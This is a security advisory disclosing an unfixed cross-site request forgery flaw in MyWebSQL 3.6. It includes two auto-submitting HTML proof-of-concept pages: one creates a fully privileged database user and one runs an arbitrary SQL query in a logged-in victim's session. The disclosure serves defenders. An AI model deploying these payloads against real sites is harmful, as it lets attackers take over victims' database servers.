MyWebSQL 3.6: CSRF

Date: 2015-10-07 15:54:02

Security Advisory – Curesec Research Team

1. Introduction

Affected Product:	MyWebSQL 3.6
Fixed in:	not fixed
Fixed Version Link:	n/a
Vendor Website:	http://mywebsql.net/
Vulnerability Type:	CSRF
Remote Exploitable:	Yes
Reported to vendor:	09/01/2015
Disclosed to public:	10/07/2015
Release mode:	Full Disclosure
CVE:	n/a
Credits	Tim Coen of Curesec GmbH

2. Vulnerability Description

None of the forms of MyWebSQL 3.6 have CSRF protection, which means that an attacker can perform actions for the victim if the victim visits an attacker controlled site while logged in.

3. Proof of Concept

Create new user:

<html> <body> <form name="myform" action="http://localhost/mywebsql/?q=wrkfrm&type=usermanager" method="POST" enctype="multipart/form-data"> <input type="hidden" name="type" value="usermanager" /> <input type="hidden" name="id" value="add" /> <input type="hidden" name="name" value=" " /> <input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" /> <input type="hidden" name="username" value="foobar" /> <input type="hidden" name="hostname" value="localhost" /> <input type="hidden" name="userpass" value="foobar" /> <input type="hidden" name="userpass2" value="foobar" /> <input type="hidden" name="Alter_priv" value="on" /> <input type="hidden" name="Alter_routine_priv" value="on" /> <input type="hidden" name="Create_priv" value="on" /> <input type="hidden" name="Create_routine_priv" value="on" /> <input type="hidden" name="Create_tmp_table_priv" value="on" /> <input type="hidden" name="Create_view_priv" value="on" /> <input type="hidden" name="Create_tablespace_priv" value="on" /> <input type="hidden" name="Create_user_priv" value="on" /> <input type="hidden" name="Delete_priv" value="on" /> <input type="hidden" name="Drop_priv" value="on" /> <input type="hidden" name="Event_priv" value="on" /> <input type="hidden" name="Execute_priv" value="on" /> <input type="hidden" name="File_priv" value="on" /> <input type="hidden" name="Grant_priv" value="on" /> <input type="hidden" name="Index_priv" value="on" /> <input type="hidden" name="Insert_priv" value="on" /> <input type="hidden" name="Lock_tables_priv" value="on" /> <input type="hidden" name="Process_priv" value="on" /> <input type="hidden" name="References_priv" value="on" /> <input type="hidden" name="Reload_priv" value="on" /> <input type="hidden" name="Repl_client_priv" value="on" /> <input type="hidden" name="Repl_slave_priv" value="on" /> <input type="hidden" name="Select_priv" value="on" /> <input type="hidden" name="Show_db_priv" value="on" /> <input type="hidden" name="Show_view_priv" value="on" /> <input type="hidden" name="Shutdown_priv" value="on" /> <input type="hidden" name="Super_priv" value="on" /> <input type="hidden" name="Trigger_priv" value="on" /> <input type="hidden" name="Update_priv" value="on" /> </form> <script>document.myform.submit();</script> </body> </html>

Execute any query:

<html> <body> <form name="myform" action="http://localhost/mywebsql/index.php?q=wrkfrm&type=info" method="POST" enctype="multipart/form-data"> <input type="hidden" name="type" value="query" /> <input type="hidden" name="id" value=" " /> <input type="hidden" name="name" value=" " /> <input type="hidden" name="query" value="CREATE USER 'smith'@'localhost' IDENTIFIED BY 'smith';" /> </form> <script>document.myform.submit();</script> </body> </html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015	Informed Vendor about Issue (no reply)
09/22/2015	Reminded Vendor of disclosure date (no reply)
10/07/2015	Disclosed to public